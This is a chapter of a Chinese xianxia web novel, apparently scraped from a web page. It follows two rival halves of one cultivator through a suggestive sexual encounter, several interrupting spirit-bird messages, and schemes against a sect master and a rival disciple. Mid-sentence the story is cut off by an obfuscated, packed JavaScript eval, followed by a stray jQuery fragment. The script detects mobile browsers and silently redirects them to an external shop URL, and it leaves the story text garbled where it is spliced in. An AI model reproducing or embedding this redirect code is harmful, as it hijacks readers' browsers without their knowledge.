两人相视一笑,各怀鬼胎在门口分别。

    燕逢春踏着愉悦的步子来到自己房前,推开门后却看见某人正坐霸占了自己的躺椅,十分悠闲地品着茶。

    简直比在自己屋子里还舒服。

    虽然这个院子某种意义上都是属于他的。

    燕逢春嘴角逐渐拉平,心情更是“嗖”地一下跌落。

    “你来干什么?”

    “今天是月圆之夜,欲毒……”

    燕南陌抿了口茶,本有些不自在,可转念一想,他们俩本就是同一人,就当是自娱自乐了,于是又理直气壮起来。

    “我们速战速决!”

    如此豪迈的言论一出,燕逢春猛地咳了两声,被门槛绊得一趔趄。

    “不是,这种事情光彩吗?还说这么大声做什么。”

    “怎么不光彩,这是正常需求!照你这么龌龊的心思,那咱俩还没分裂的时候,岂不是嘴皮一碰就算接吻了?”

    燕南陌想着明日寅时轮到他找天流,起得比鸡还早,今天必须早点结束好好休息。

    外边太阳已经到了头顶,不能再拖了!

    他毫不扭捏,起身一把拽住燕逢春的腰,低头吻了下去,脚上动作也没停,把人往里间带。

    “唔……白日淫宣成何体统……欲毒不是还没发作吗……你急什么,呜!”

    “我明日要早起!你也不想我去见天流时刚从你床上下来吧?”

    燕南陌头抵着对方额头,蹭了蹭他的鼻尖,哼唧了两声。

    燕逢春想了一下那个场景,不由得有些恶寒,便也由着对方去,反正自己是舒服的就行了。

    今天过后,明天又是新的一天,他们依旧是宿敌。

    里衣刚从肩头滑落,一只蓝色的灵鸟却跌跌撞撞飞了进来。

    许是此时气息太过相似,两人神魂又相同,那灵鸟摇摆不定,辨认不出收讯人,便干脆就这样外放了出来。

    “老板,上次的暗杀任务没完成,您什么时候来取定金啊?”

    暗杀?

    燕南陌解腰带的动作一顿,看向这个并不属于自己的传讯灵鸟,眯了眯眼。

    “解释解释。”

    他俯在燕逢春耳边,用气音询问道。

    “啊,那个定金啊……”耳垂被人恶劣地咬了咬,燕逢春浑身一抖,只想迅速结束这个话题,“你们自己分了吧!之后……嗯……之后有机会再找你们。”

    “还想之后?”

    虽然他们都怀着搞死对方的目的,但在这个暧昧的氛围里点出来,燕南陌还是有些生气。

    至于在气什么,他自己也不知道,只觉鼻头略过丝酸涩,一股怒火从上至下要将他烧个彻底。

    “只许州官放火,不许百姓点灯,说得你难道没有找人杀我?”

    燕逢春也来了火气,伸手抓住对方的肩膀用力一转。

    他整个人跨在燕南陌身上,居高临下地看着喘着粗气的对方,抬手给了他一下。

    燕南陌脑袋一偏,那巴掌十分幸运地避开了他的脸,直直落到自己的喉结上。

    感受到脖颈火辣辣的疼,他咽了咽口水。

    “燕逢春,是你自己……”

    “师弟,你今日说的酒我都买了些,可要先一起尝尝,再送给师尊?毕竟这是你的主意,我也不好鸠占鹊巢。”

    纪听寒的声音从飞进来的又一只灵鸟中响起。

    依然是外放。

    “没事的,师兄。”燕逢春跪立着,眼尾通红,“你自己去给师尊吧!”

    他低头看了看卖力的燕南陌,死死压抑住喘息,似乎在疑惑这家伙听到“心上人”的声音,怎么没有半点反应,难道蛊虫没起作用?

    “某种意义上说,你们体中的欲毒比蛊虫带来的影响更厉害。”

    一道声音悠悠地在他识海中响起,剑灵似乎觉察到他在想着什么,小人故作老成的叹了口气。

    “啧啧,现在可是白天,真是世风日下……”

    他竟然忘了,这个灵物好像从头到尾都一直看着他们!

    燕逢春脸颊爆红,异常羞愤地给自己识海画了几十个隔绝阵法。

    “都这个时候了,怎么还一点都不专心?”

    燕南陌有些不满地抬头,拖住对方的双腿,往外又掰了掰。

    “燕大哥燕大哥!”

    第三只传讯灵鸟飞进来,欢快的声音再次让两人的动作齐齐僵住。

    “那桃山城城主的判决下来了,十日后处决,对了,他那个弟弟仙盟副盟主也降了职,变成长老了!燕大哥你什么时候来剑宗玩啊,我有点想你啦……”

    “元缘,还有天机阁的事……”另一道温和的声音从传讯那头传来。

    “哦对对,我师兄说下月初五是三年一次的辩道大比,天机阁阁主还会在参与者中为有缘人批命,到时候我们一起去吧!”

    “嗯嗯好。”

    燕逢春此时正处于不上不下的状态,有些难耐,只得胡乱应付了几声,挂断了传讯。

    他喘着气,感受到掐住他腰的手渐渐用力,双腿不自觉夹紧,雾蒙蒙地看了燕南陌一眼。

    “燕大哥真是好人缘,这才好一会,便有这么多人找。”燕南陌箍住人不让他起来,阴阳怪气地开口,随后又将脸埋了下去。

    ……

    燕逢春睡着了。

    去天流那练了一上午剑,又被乱七八糟地骂了一顿,回来还绞尽脑汁同纪听寒虚与委蛇。

    正准备待在屋里好好补个觉,谁知道燕南陌还龙精虎猛跃跃欲试。

    即使是修士也禁不起这么造啊!

    一旁的燕南陌盯着对方疲惫的睡颜,又想起前几日对方拉着他制定的《床上不动手协议》,不由得磨了磨牙。

    哼,就这么不信任他吗?

    再怎么想弄死对方也不会如此趁人之危,他还是很有原则的。

    燕南陌坏心思地捏着对方的鼻子,直到枕边人皱着眉挣扎时才松手。

    只可惜本来还想问问他今日在天流那到底是什么情况,看他这么累,还是算了。

    谁叫他这么善解人意。

    哼!

    ——

    早知道就不这么善解人意了,当初怎么就没把燕逢春给摇醒!

    燕南陌不知道第几次脱力跪在地上,艰难躲避着天流的剑气。

    “喜欢喝什么酒?”

    “春…春梅酿。”

    天流似乎终于听到了满意的答案,收起了那暴动的剑气。

    “记住了,从今往后,你最喜欢喝春梅酿。”

    燕南陌疯狂点头。

    终于不发癫了!

    回想方才受到的摧残,燕南陌整个人都颤了颤。

    他今日一进来,便得到天流劈头盖脸的一顿询问。

    “喜不喜欢喝酒?”

    “喜欢喝什么?”

    “是喝那些低劣的果酒还是喝黎山醉?”

    “是喝黎山醉还是春梅酿?”

    “是喝……”

    燕南陌完全不知道他在说什么,只能悄咪咪地看着对方的脸色,试探着猜来猜去。

    谁能想到这个疯子,一但答错就二话不说朝他放剑气,最后答对了还要

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787583|210215||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    反复不停地问。

    直到他自己都以为自己爱上了那个从未听说过的酒,天流才满意地收了手。

    燕南陌一口气还未喘完,只见那仙尊又招了招手手。

    “过来,陪本尊下棋。”

    下棋?怎么还没完?

    燕南陌气血上涌,白眼翻了一半,又不得不在对方冷冽的视线下一步步挪到了棋盘边上。

    可惜了,若是燕逢春在此说不定不会受此折磨。

    另一个自己被折腾得死去活来之时,燕逢春才悠悠转醒。

    他懒散地倚在床上,打了个哈欠,开始查看纪听寒试探的进度。

    身为一整座灵矿的主人,他十分轻易地贿赂了某个剑峰大殿服侍的小童。

    根据小童的转述,得知昨日下午纪听寒拎了瓶黎山醉进去,不过半晌又连人带酒地被轰了出来。

    这样啊!

    燕逢春勾了勾唇,看来他得弄些春梅酿过来了。

    猎杀妖兽一事与修为高低有关,他暂时做不出多大改变。

    至于下棋,他得抓紧学学了。

    只要演演戏投其所好,才能进一步拉进关系,大乘修士又如何,他有把握让对方不知不觉变成一把……借刀杀人的刀!

    燕逢春给自己倒了杯茶,摇摇晃晃地水中映着对方狡黠的眼睛,随后被人一饮而尽。

    他忽然又想起昨夜接踵而至的传讯,心中顿时有了主意,联系上了那个搞暗杀的散修。

    “陈匡,是我,不用杀谁了,劳烦帮我找些东西,灵石好商量。

    对,帮我弄副紫玉棋盘,顺便带些春梅酿,越快越好!”

    吩咐完一切,燕逢春心情十分美妙地出了门,站在门口静待燕南陌归来。

    昨日收获了许多重要的信息,看看今日燕南陌能不能带来什么好消息。

    他百无聊赖地想着,直到院门吱呀一声,打起精神准备迎接天流把柄们的到来。

    不对。

    这不是燕南陌!

    感受到一墙之隔陌生的气息,燕逢春动作迅速,往自己身上贴了张藏身符,随后隐匿在角落。

    来人鬼鬼祟祟朝院子里看了眼,随后掏出法器往结界上一划,一个巨大的破口出现在面前,他谨慎踏入。

    这是,极品法器!

    真是暴殄天物,以为遮住脸就认不出来是谁了吗?

    除了那个千娇百宠的云起宗小师弟,还有谁有这么大能耐,拿极品法器去破坏区区弟子院舍结界。

    燕逢春冷笑一声,继续盯着莫连溪,看他潜入自己的院子到底想搞什么花样。

    许是剑峰弟子院舍太大,莫连溪绕了半天都没弄清楚燕逢春到底住在哪个房间。

    只觉北边的屋子很有生活痕迹,南边的屋子也像是时常有人睡过的。

    眼见时间越来越紧,他只得随便找间房溜进去,不知鼓捣了些什么,半柱香后急匆匆出来,向院门走去。

    这厮竟还不忘恢复结界上的豁口。

    可真是用心良苦,燕逢春一哂。

    他走进了莫连溪方才待过的屋子,上上下下翻找了好一番,才从床底摸出来一个不属于他的东西。

    好一块精致的暖玉!

    他记得莫连溪似乎是有什么寒症,每月都要发作几次。

    而这暖玉,正是掌门费劲千辛万苦找来压制寒症的宝物。

    竟是这个打算么?

    燕逢春拿起玉笑了笑,随后毫不犹豫将它捏碎。

    既然如此,莫连溪的算盘,恐怕要落空了。

    他要让他,赔了夫人又折兵!